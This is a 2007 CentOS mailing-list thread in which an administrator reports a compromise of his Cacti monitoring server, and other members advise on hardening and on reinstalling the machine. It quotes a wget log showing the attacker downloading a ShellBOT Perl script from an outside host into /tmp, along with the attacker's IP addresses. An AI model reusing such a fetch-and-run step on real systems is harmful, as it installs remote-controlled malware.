Hi folks,
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
--08:13:11-- http://psaico.host.sk/desk.pl => `/tmp/desk.pl' Resolving psaico.host.sk... 62.168.109.150 Connecting to psaico.host.sk|62.168.109.150|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,144 (20K) [text/x-perl]
0K .......... ......... 100% 28.26KB/s
08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]
which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
On a side note... anyone with experience with ShellBOT? From research, it seems to attempt to connect to an IRC server upon running. So if my outgoing connections are secured by iptables, can I assume it never got connected at all? I'll probably try this out someday but just looking for a quick experienced answer.
Thanks!
dex
<snip>
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
<snip>
which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
<snip>
Using htaccess in addition to the built-in Cacti auth might be helpful. What version of Cacti were you running? Something like mod_security might be helpful as well.
Dave
On 5/24/07, Big Wave Dave bigwavedave@gmail.com wrote:
<snip> > The problem is that leaving cacti open was the most stupid thing I've done. > After checking /var/log/httpd/error_log, I saw that someone exploited a > cacti php file and the result was: <snip> > which immediately downloaded ShellBOT to /tmp and executed it. It was a good > thing I caught this as early as I did. So, what's everyone elses solution > these days? Or is it simply a matter of creating a /tmp partition and > mounting it noexec? <snip>
Using htaccess in addition to the built-in Cacti auth might be helpful. What version of Cacti were you running?
Unfortunately I had to not limit access to Cacti, as I had to connect to it from different IP addresses. I was running Cacti 0.8.6h from dag.wieers.com. I couldn't get 0.8.6j to work for some reason, so I had to fall back to 0.8.6h. For reference, here's what error_log had with regards to the exploited Cacti:
[client 217.11.132.214] PHP Notice: Undefined index: 1 in /var/www/cacti/lib/functions.php on line 455 [client 217.11.132.214] PHP Notice: Undefined index: total_polls in /var/www/cacti/lib/functions.php on line 455 [client 217.11.132.214] PHP Notice: Undefined index: failed_polls in /var/www/cacti/lib/functions.php on line 456 [client 217.11.132.214] PHP Notice: Undefined index: snmp_community in /var/www/cacti/lib/functions.php on line 467 [client 217.11.132.214] PHP Notice: Undefined index: max_time in /var/www/cacti/lib/functions.php on line 480 [client 217.11.132.214] PHP Notice: Undefined index: min_time in /var/www/cacti/lib/functions.php on line 484 [client 217.11.132.214] PHP Notice: Undefined index: failed_polls in /var/www/cacti/lib/functions.php on line 488 [client 217.11.132.214] PHP Notice: Undefined index: avg_time in /var/www/cacti/lib/functions.php on line 489 [client 217.11.132.214] PHP Notice: Undefined index: failed_polls in /var/www/cacti/lib/functions.php on line 489 [client 217.11.132.214] PHP Notice: Undefined index: status in /var/www/cacti/lib/functions.php on line 492 [client 217.11.132.214] PHP Notice: Undefined index: status in /var/www/cacti/lib/functions.php on line 492 [client 217.11.132.214] PHP Notice: Undefined index: status_fail_date in /var/www/cacti/lib/functions.php on line 568 [client 217.11.132.214] PHP Notice: Undefined index: status_rec_date in /var/www/cacti/lib/functions.php on line 569 [client 217.11.132.214] PHP Notice: Undefined index: status_last_error in /var/www/cacti/lib/functions.php on line 570 [client 217.11.132.214] PHP Notice: Undefined index: min_time in /var/www/cacti/lib/functions.php on line 571 [client 217.11.132.214] PHP Notice: Undefined index: max_time in /var/www/cacti/lib/functions.php on line 572 [client 217.11.132.214] PHP Notice: Undefined index: failed_polls in /var/www/cacti/lib/functions.php on line 576 [client 217.11.132.214] PHP Notice: Undefined index: hostname in /var/www/cacti/lib/functions.php on line 578
Something like
mod_security might be helpful as well.
Dave
Thanks Dave, I'll look into that later. I still have a lot of investigating and testing to do with this.
dex
Dexter Ang spake the following on 5/23/2007 5:36 PM:
Hi folks,
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
Have you tried something as simple as using ssh tunnels on obscure ports and not having the tools pointed to outward facing interfaces? You can even use putty and xming on a windows machine and get in that way. If you keep your ssh secure and even only use key based logins, you can feel at least a little safer.
On May 24, 2007, at 9:46 AM, Scott Silva wrote:
Dexter Ang spake the following on 5/23/2007 5:36 PM:
Hi folks,
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
Have you tried something as simple as using ssh tunnels on obscure ports and not having the tools pointed to outward facing interfaces? You can even use putty and xming on a windows machine and get in that way. If you keep your ssh secure and even only use key based logins, you can feel at least a little safer.
Hmmm... good idea. Maybe just tunnel through default ssh port on the server, which is already using port knocking.
Thanks for the suggestion!
--
MailScanner is like deodorant... You hope everybody uses it, and you notice quickly if they don't!!!!
CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
---------- Mobile: +63 (917) 5357191, Office: +63 (2) 6312718 i4 Asia Incorporated - http://www.i4asiacorp.com/
On Thu, May 24, 2007 at 08:36:11AM +0800, Dexter Ang said:
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
I've setup some services like this where I configure the firewall to only allow access to the tools from known IP addresses, and then setup openvpn to allow access from unknown IP's.
Another option is to put all PHP / restricted apps in SSL protected areas, and then use apache basicauth to restrict access to the php application, not relying on the application to provide security.
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
<snip>
which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
I mount /tmp with nosuid,noexec and this is normally OK, but I have run into a couple issues.
For example, some RPM's fail to install because they run a script from /tmp during the process. HP driver / utilities are notorious for this.
On an unrelated note, I don't know WHAT it is about PHP, but I've seen more remote exploits from PHP apps than anything else.
http://www.securityfocus.com/news/11430 http://blog.php-security.org/
It's enough that I'm very close to banning all PHP applications from my site, or at least require all php apps to go through a security audit before they are deployed. There are other things you can do too:
http://linuxmafia.com/faq/Security/php.html
IMHO, reducing exposure by reducing access is the best thing you can do.
Hope this helps!
On 5/24/07, Walt Reed centos@kplex.org wrote:
On Thu, May 24, 2007 at 08:36:11AM +0800, Dexter Ang said:
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti
and
nagios. I've set these up to require SSL. This way, I can easily go to
them
and login from wherever I am and monitor (almost) everything I need to monitor.
I've setup some services like this where I configure the firewall to only allow access to the tools from known IP addresses, and then setup openvpn to allow access from unknown IP's.
I guess I'll have to read up on openvpn then. My problem is that I usually have to monitor "on-the-go", basically anywhere and everywhere.
Another option is to put all PHP / restricted apps in SSL protected
areas, and then use apache basicauth to restrict access to the php application, not relying on the application to provide security.
I've already set up all PHP apps to require SSL by forcefully redirecting using a .htaccess file. Didn't think about the basicauth part though. Though judging from the comments I get, I'll probably just avoid exposing any PHP apps as much as possible.
The problem is that leaving cacti open was the most stupid thing I've done.
After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
<snip>
which immediately downloaded ShellBOT to /tmp and executed it. It was a
good
thing I caught this as early as I did. So, what's everyone elses
solution
these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
I mount /tmp with nosuid,noexec and this is normally OK, but I have run into a couple issues.
For example, some RPM's fail to install because they run a script from /tmp during the process. HP driver / utilities are notorious for this.
On an unrelated note, I don't know WHAT it is about PHP, but I've seen more remote exploits from PHP apps than anything else.
http://www.securityfocus.com/news/11430 http://blog.php-security.org/
It's enough that I'm very close to banning all PHP applications from my site, or at least require all php apps to go through a security audit before they are deployed. There are other things you can do too:
http://linuxmafia.com/faq/Security/php.html
IMHO, reducing exposure by reducing access is the best thing you can do.
Hope this helps!
Any suggestion definitely helps. High appreciate the tips and references.
dex
On 5/24/07, Walt Reed centos@kplex.org wrote:
On Thu, May 24, 2007 at 08:36:11AM +0800, Dexter Ang said:
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
I've setup some services like this where I configure the firewall to only allow access to the tools from known IP addresses, and then setup openvpn to allow access from unknown IP's.
Another option is to put all PHP / restricted apps in SSL protected areas, and then use apache basicauth to restrict access to the php application, not relying on the application to provide security.
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
<snip>
which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
I mount /tmp with nosuid,noexec and this is normally OK, but I have run into a couple issues.
For example, some RPM's fail to install because they run a script from /tmp during the process. HP driver / utilities are notorious for this.
On an unrelated note, I don't know WHAT it is about PHP, but I've seen more remote exploits from PHP apps than anything else.
http://www.securityfocus.com/news/11430 http://blog.php-security.org/
It's enough that I'm very close to banning all PHP applications from my site, or at least require all php apps to go through a security audit before they are deployed. There are other things you can do too:
In addition to the suggestions listed in the link above, you shoud apply the hardened PHP (formerly known as suhosin) patch to your PHP source code, and ensure that your PHP binaries are built with exec-shield support. Exec-shield and the hardened PHP patch will protect your PHP environment against most stack, heap and integer overflow attacks, and will provide some breathing room when the latest PHP security vulnerability is announced. If your interested in setting it up exec-shield and installing the hardened PHP patch, check out the following links:
Exec-shiled white paper: https://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
Building and installing the hardened PHP patch: http://prefetch.net/blog/index.php/2006/10/15/securing-php-installations/
Thanks, - Ryan
On Thu, 24 May 2007, Dexter Ang wrote:
Hi folks,
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
You might want to look at hobbit. http://sourceforge.net/projects/hobbitmon/
I find it much easier to manage than nagios. Besides the UI looks nicer. :-)
The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
--08:13:11-- http://psaico.host.sk/desk.pl => `/tmp/desk.pl' Resolving psaico.host.sk... 62.168.109.150 Connecting to psaico.host.sk|62.168.109.150|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,144 (20K) [text/x-perl]
0K .......... ......... 100% 28.26KB/s
08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]
which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
On a side note... anyone with experience with ShellBOT? From research, it seems to attempt to connect to an IRC server upon running. So if my outgoing connections are secured by iptables, can I assume it never got connected at all? I'll probably try this out someday but just looking for a quick experienced answer.
It does not matter if they connected or not. The bottom line the machine was hacked and someting got installed that does not belong there. There is no way at this point to be sure that they did not install something else or modify binaries to hide their tracks.
So now the only to be sure there is not something in that machine is to reload it. Anything less and you will never know for sure.
Regards,
On 5/24/07, Tom Diehl tdiehl@rogueind.com wrote:
On Thu, 24 May 2007, Dexter Ang wrote:
Hi folks,
I'm just wondering what is the recommended way of monitoring servers and networks remotely. <snip>
You might want to look at hobbit. http://sourceforge.net/projects/hobbitmon/
I find it much easier to manage than nagios. Besides the UI looks nicer. :-)
Thanks! I'll look into this.
The problem is that leaving cacti open was the most stupid thing I've
done.
After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was:
--08:13:11-- http://psaico.host.sk/desk.pl => `/tmp/desk.pl' Resolving psaico.host.sk... 62.168.109.150 Connecting to psaico.host.sk|62.168.109.150|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,144 (20K) [text/x-perl]
0K .......... ......... 100%
28.26KB/s
08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144]
which immediately downloaded ShellBOT to /tmp and executed it. It was a
good
thing I caught this as early as I did. So, what's everyone elses
solution
these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec?
On a side note... anyone with experience with ShellBOT? From research,
it
seems to attempt to connect to an IRC server upon running. So if my
outgoing
connections are secured by iptables, can I assume it never got connected
at
all? I'll probably try this out someday but just looking for a quick experienced answer.
It does not matter if they connected or not. The bottom line the machine was hacked and someting got installed that does not belong there. There is no way at this point to be sure that they did not install something else or modify binaries to hide their tracks.
So now the only to be sure there is not something in that machine is to reload it. Anything less and you will never know for sure.
Wise words. This will definitely be my next step ASAP.
dex
On 5/23/07, Dexter Ang thepoch@gmail.com wrote:
I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor.
Why not run a VPN server instead of opening up the server?
Later, Scott
-
Big Wave Dave -
Dexter Ang -
Matty -
Scott Moseman -
Scott Silva -
Tom Diehl -
Walt Reed